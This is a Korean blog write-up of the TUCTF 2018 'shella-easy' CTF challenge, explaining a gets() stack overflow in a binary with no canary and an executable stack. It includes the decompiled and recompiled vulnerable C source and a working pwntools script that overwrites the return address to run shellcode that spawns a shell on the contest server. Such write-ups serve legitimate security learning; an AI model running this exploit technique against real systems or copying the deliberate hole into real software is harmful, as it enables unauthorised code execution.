제리의 블로그

TUCTF 2018 PWN shella-easy 본문

CTF/pwnable

TUCTF 2018 PWN shella-easy

j3rrry 2018. 11. 26. 19:15

TUCTF 2018 PWN shella-easy


$ ./shella-easy
Yeah I'll have a 0xff81fcb0 with a side of fries thanks

프로그램을 실행시켜보면 오프셋을 보여준다.



int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-48h]@1
  unsigned int v5; // [sp+40h] [bp-8h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  v5 = 0xCAFEBABE;
  printf("Yeah I'll have a %p with a side of fries thanks\n", &s);
  gets(&s);
  if ( v5 != 0xDEADBEEF )
    exit(0);
  return 0;
}
디버깅해보면 오프셋은 지역변수 s 의 주소값이었다. (%p)
스택의 주소를 알려주는 것을 보니
쉘코드 삽입문제가 아닌가 한다.


또 입력은 gets 함수로 받고 있기 때문에 BOF 가 발생하기 때문에 리턴주소를 변조할 수 있고
지역변수 v5 를 0xDEADBEEF 로 덮어씌워야 leave;ret; 로 끝날 수 있다.


    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
checksec 해보니 역시 RWX 영역이 있었다.

payload 는
1. 지역변수 v5 를 0xDEADBEEF 로 덮어씌우고
2. RET 의 다음에 쉘코드를 넣는다.
이때 들어가는 쉘코드의 주소는 지역변수 s 로부터 (0x48+0x8) 만큼 떨어진 곳이 되므로
3. RET 를 지역변수 s 의 주소값 +(0x48+0x8) 로 덮어씌운다.

[dummy 0x48][0xDEADBEEF][dummy 0x8][RET s+(0x48+8)][shellcode]



from pwn import *

context.arch = 'i386'

e = ELF('./shella-easy')
r = remote("52.15.182.55", 12345)
r.recvuntil('a ')
s = int(r.recvuntil(' '), 16)
log.success(hex(s))

payload = ''
payload += p32(0xDEADBEEF) * ((0x48 - 0x8)//4 + 1)
payload += p32(s+(0x48+0x8)) * 3
payload += asm(shellcraft.sh())

r.sendline(payload)
r.interactive()

쉘코드를 RET 뒤에다 삽입하긴 했는데

지역변수 s 안에 넣어도 된다.

그렇다면 RET 는 지역변수 s 로 덮어씌우면 된다.

// audit
// gcc -o shella-easy shella-easy.c -no-pie -fno-pic -mpreferred-stack-boundary=3 -m32 -zexecstack
#include <stdio.h>
#include <stdlib.h>

int main()
{
  char s[0x40]; // [sp+0h] [bp-48h]@1
  unsigned int v5; // [sp+40h] [bp-8h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  setvbuf(stdin, 0, 2, 0x14u);
  v5 = 0xCAFEBABE;
  printf("Yeah I'll have a %p with a side of fries thanks\n", &s);
  gets(s);
  if ( v5 != 0xDEADBEEF )
    exit(0);
  return 0;
}


'CTF > pwnable' 카테고리의 다른 글

TUCTF 2018 PWN Canary  (0) 2018.11.26
TUCTF 2018 PWN ehh  (0) 2018.11.26
picoCTF 2018 are you root? Binary Exploit  (0) 2018.11.02
SECCON CTF 2018 quals Classic Pwn  (0) 2018.10.28
hacklu CTF 2018 Baby Reverse  (0) 2018.10.16
Comments